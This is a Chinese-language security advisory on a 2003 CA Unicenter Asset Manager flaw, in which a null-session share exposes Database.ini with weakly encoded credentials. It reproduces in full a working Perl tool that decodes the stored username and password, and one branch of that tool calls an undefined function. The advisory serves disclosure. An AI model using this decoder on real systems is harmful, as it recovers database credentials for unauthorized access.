发布日期：2003-06-04
更新日期：2003-06-11

受影响系统：

Computer Associates Unicenter Asset Manager

描述：

---

BUGTRAQ  ID: 7808

Unicenter Asset Manager是CA公司开发的用于搜索节点详细的硬件和配置信息的程序。

Unicenter Asset Manager存储密码信息可以很容易恢复，攻击者可以利用这个漏洞获得密码信息从而获取对于资源敏感信息的访问。

Unicenter Asset Manager收集数据的过程如下：

                           [Console]       +-------- [Agent]
                              |            |
                              v            v
            [Database] <-- [Engine] --> [Sector] <-- [Agent]
                              |
                              +-------> [Sector] <-- [Agent]
                                           ^
                                           |
                                           +-------- [Agent]

                               (figure 1)

上面的箭头不是数据流向，而是处理事务流向，如Agents从Sector中获得数据，但是Agent初始化事务。Engine发布作业和收集结果(存储在Sector上)，然后Agent执行，但是上面的实际由于Sector默认情况下具有NULLSESSION共享，任何用户可写，因此攻击者可以利用这个漏洞通过Sector获得敏感密码信息。

<*来源：Tor Houghton （info@kufumo.com）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=105474294415371&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Tor Houghton （info@kufumo.com）提供了如下测试方法：

#!/usr/bin/perl
$version='ca-dbpwrecover 1.2 2003/03/19';
##
## (c) th at kufumo.com 2003
##
## this version was based on AMO Unicenter 3.2
##
## thanks to emf at kufumo.com and ssw at kufumo.com for help with the
## disassembly and helping to reverse the encoding algorithm! go daddy!
##
## can't find a suitable file?
##
## (a default installation has the file 'Database.ini' available via a
## nullsession share ("amdomain$") on the machine running the console/
## engine.)
##
##
$|=1;
##

$ironic_seed="NetCon"; ## we predict $ironic_seed will change
                       ## in the next version of CA AMO etc.

$CRYPT="BP7xCtDQqA2EZWoFH6wSIJeMzdYLb9Vfm5uNO4cKRGT3kUX018apyghijlnrsv";
$CLEAR="ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz";

use Getopt::Long;

GetOptions("h",
           "u=s" => \$uname,
           "p=s" => \$pword,
           "f=s" => \$file);

if($opt_h) {
    print <<EOM;
$version (c) 2003 th at kufumo.com
usage: ca-dbpwrecover [-h] [-u <username>] [-p <passwd>] [-f <file>]
  -h : this
  -p : password (if not using files)
  -u : username (if not using files)
  -f : filename (e.g. 'ca-dbpwrecover -f Database.ini')
EOM
    exit(1);
}

if($file) {
    DecryptCAEncryption("","",$file);
} else {
    if($pword && $uname) {
        DecryptCADecryption($pword,$uname,"");
        exit(0);
    } else {
        print "Not enough parameters. Try -h.\n";
        exit(1);
    }
}

exit();

sub DecryptCAEncryption {
    my($pword,$uname,$file)=@_;

    my($u,$c,$oa,$ob,$offset);

    my(@crypt)=split(//,$CRYPT);

    if($file) {
        open(IN,$file) || die "error: failed to open $file: $!\n";
        while(<IN>) {
            if(/^UserName=\#(\S+)\s*$/) {$name=$1;}
            if(/^Password=\#(\S+)\s*$/) {$pass=$1;}
        }
        close(IN);
    }

    $uname=$name if($name);
    $pword=$pass if($pass);

    @pass=split(//,$pword);
    @user=split(//,$uname);

    @nc=split(//,$ironic_seed);

    print "Username: ";

    $c=5;
    for($u=0;$u<@user;$u++) {

        ## find occurrance of current char ($user[$u]) in cleartext
        ## keystring:

        $_=$CLEAR;

        while(m/$user[$u]/g) {
            $oa=pos;
        }

        $oa++;

        if($u<@nc) {
            $_=$CRYPT;
            while(m/$nc[$u]/g) {
                $ob=pos;
            }
            $ob++;
            $oa=$oa+($ob*-1);
        } else {
            $oa=$oa-$u+$c;
            $c++;
        }

        while($oa<0) {
            $oa=$oa+62;
        }
        while($oa>62) {
            $oa=$oa-62;
        }

        $oa--;

        push(@clear,$crypt[$oa-1-$u]);

    }

    foreach(@clear) {
        print $_;
    }

    print "\n";

    ## who said reuse of code is a good thing?
    ## i think i failed class here. heck, did you want the tool or not?
    ##

    print "Password: ";

    $c=@clear;

    for($u=0;$u<@pass;$u++) {

        ## find occurrance of current char ($user[$u]) in cleartext
        ## keystring:

        $_=$CLEAR;

        while(m/$pass[$u]/g) {
            $oa=pos;
        }
        $oa++;

        if($u<@clear) {
            $_=$CRYPT;
            while(m/$clear[$u]/g) {
                $ob=pos;
            }
            $ob++;
            $oa=$oa+($ob*-1);
        } else {
            $oa=$oa-$u+$c-1;
            $c++;
        }

        while($oa<0) {
            $oa=$oa+62;
        }
        while($oa>62) {
            $oa=$oa-62;
        }

        $oa--;

        push(@cpass,$crypt[$oa-1-$u]);

    }

    foreach(@cpass) {
        print $_;
    }

    print "\n";

}

建议：

---

厂商补丁：

Computer Associates
-------------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www3.ca.com/Solutions/Collateral.asp?CID=33237&ID=194

浏览次数：2768
严重程度：0（网友投票）